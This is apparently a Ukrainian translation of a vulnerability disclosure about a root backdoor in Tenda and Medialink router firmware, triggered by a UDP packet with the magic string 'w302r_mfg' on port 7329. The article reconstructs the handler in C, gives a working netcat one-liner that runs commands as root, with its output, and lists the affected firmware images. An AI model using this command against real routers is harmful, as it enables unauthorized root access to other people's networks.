Слідами вразливості D-Link: У бездротових маршрутизаторах Tenda і Medialink виявлено бекдор

Щоб ви не думали, що D-Link є єдиним постачальником, який залишає бекдори у своїй продукції, ось ще один - Tenda.

Після вилучення останньої прошивки для бездротового маршрутизатора Tenda W302R, Крейг Хеффнер (Craig Heffner) вирішив зазирнути в/bin/httpd, яка виявився GoAhead веб-сервером:

Але у Tenda модифікований сервер. Безпосередньо перед входом до циклу прийому HTTP, основний виклик InitMfgTask породжує функцію MfgThread як окремий потік:

Перший MfgThread створює сокет UDP і слухає його на порту 7329:

Потім потік входить у цикл recvfrom і читає 128 байт із сокету. Він слухає кожен прийнятий UDP-пакет, що має довжину в 14 байт.

Отриманий UDP пакет потім обробляється цим кодом:

Приклад цього ж коду на С:

memset(rx_magic_string, 0, 0x80);
memset(command_byte, 0, 0x80);
memset(command_arg, 0, 0x80);
memcpy(rx_magic_string, rx_buf, 9);
command_byte[0] = rx_buf[11];
memcpy(command_arg, rx_buf+12, rx_size-12);
// If magic string doesn't match, stop processing this packet and wait for another packet
if(strcmp(rx_magic_string, ""w302r_mfg"") != 0) goto outer_receive_loop;

Ми бачимо, що сокет очікує пакет з наступною структурою:

struct command_packet_t
{
    char magic[10]; // 9 byte magic string (""w302r_mfg""), plus a NULL terminating byte
    char command_byte;
char command_arg[117];
};

Якщо пакунок починається з рядка «w302r_mfg"», код потім порівнює команди трьох ASCII символів («1», «х» і «е»):

Для простоти, приклад коду на С:

switch(command_byte)
{
    case 'e':
strcpy(tx_buf, ""w302r_mfg"");
tx_size = 9;
break;
case '1':
if(strstr(command_arg, ""iwpriv"") != NULL)
            tx_size = call_shell(command_arg, tx_buf, 0x800);
else
            strcpy(tx_buf, ""000000"");
tx_size = strlen(tx_buf);
break;
case 'x':
tx_size = call_shell(command_arg, tx_buf, 0x800);
break;
default:
goto outer_receive_loop;
}
sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16);
goto outer_receive_loop;

Наступні дії відповідають тому, який далі буде байт:

'Е'- ping

'1'- Дозволяє запускати iwpriv-команди

«X» - дозволяє виконати будь-яку команду від root

Якщо «X» визначається як командний байт, залишок пакунка після цього символу (так звана command_arg у наведеному вище коді) передається до call_shell, яка виконує команду через POPEN:

Більш того, call_shell заповнює tx_buf буфер з виведенням команди, яка, як ми бачимо з попереднього коду C, відправляється назад клієнту.

Знаючи функціональність MfgThread і структуру пакета, ми можемо легко відтворити цей бекдор за допомогою Netcat:

$ echo -ne ""w302r_mfg\x00x/bin/ls"" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x    2 0        0            1363 webroot
drwxr-xr-x    1 0        0               0 var
drwxr-xr-x    5 0        0              43 usr
drwxr-xr-x    1 0        0               0 tmp
drwxr-xr-x    2 0        0               3 sys
drwxr-xr-x    2 0        0             569 sbin
dr-xr-xr-x   39 0        0               0 proc
drwxr-xr-x    2 0        0               3 mnt
drwxr-xr-x    1 0        0               0 media
drwxr-xr-x    4 0        0             821 lib
lrwxrwxrwx    1 0        0              11 init -> bin/busybox
drwxr-xr-x    2 0        0               3 home
drwxr-xr-x    7 0        0             154 etc_ro
drwxr-xr-x    1 0        0               0 etc
drwxr-xr-x    1 0        0               0 dev
drwxr-xr-x    2 1000     100           574 bin

Цей пакет можна надіслати тільки з локальної мережі, при цьому бекдором не можна скористатися з глобальної мережі. Тим не менш, експлуатовані бездротові мережі, в яких WPS включена за замовчуванням, не захищені від брутфорсу. ReaverPro відносно швидко зламав брутфорсом WPS, забезпечивши доступ до бездротової мережі:

Цей бекдор, швидше за все вперше реалізований в Tenda в W302R, хоча він також існує в Tenda W330R, а також в аналогічних моделях, таких як Medialink MWN-WAPR150N. Всі вони так само вразливі перед рядком «w302r_mfg» в UDP-пакеті.

UPDATE:

Посилання на гітхаб: ea.github.io/blog/2013/10/18/tenda-backdoor

Вразливості схильні до таких прошивок:

301r_v3.1.192_en.bin

W311r_W268R_H1_V3.3.6b_ost_staticR.bin

302r_v3.1.192_en.bin

V3.1.201d_W301R_2010_0709.bin

W368R_H3_V3.3.6h_EN_spi.bin

V3.1.201d_W302R_2010_0709.bin

3gr_H2_V3.3.0y_multi_02.bin

w368r_H1_V3.3.6l_EN.bin

U_W330R_V3.1.201d_tenda_en.bin

W368r_H1_V3.3.6b_ost_staticR.bin

3g611r_en_0607.bin.bin

U_W311R_W268R_H3_V3.3.6h_EN_spi.bin

U_3G611R_H2_V3.3.1e_MULTI_02.bin

US_W268RRA__H3_V3.3.6h_EN_SPI.bin

US_W311RRA__H3_V3.3.6h_EN_SPI.bin

w1500a_kfw_V1.0.1.22_en_svn6227.bin

U150M_V3.32.12_EN.bin

U300M_V3.32.12_EN.bin

U_W302RRA_V3.1.201d_EN.bin

US_N60BRV1_N60_V1.0.0.15_EN.bin

US_N6BRV1_N6_V2.0.0.2_EN.bin

U_W150M_EN_V3.33.13_SPI_EN.bin

U_W300M_EN_V3.33.13_SPI_EN.bin

U_W330R_V3.1.201f_en_onWISP.bin

W330R_V3.1.201d_EN.bin

W311R_H1_V3.3.5o.bin

w311r_H1_V3.3.5n_en.bin

US_N60BRV1_N60_V1.0.0.16_EN.bin

US_N80_W568Rbr_V1.0.1.8(4428)_en_TD.bin

W311r_H1_V3.3.6b.bin

U268R_H1_V3.3.6d_EN.bin

U311R_H1_V3.3.6d_EN.bin

U150M_RT_EN_V3.32.11.bin

U300M_RT_EN_V3.32.11.bin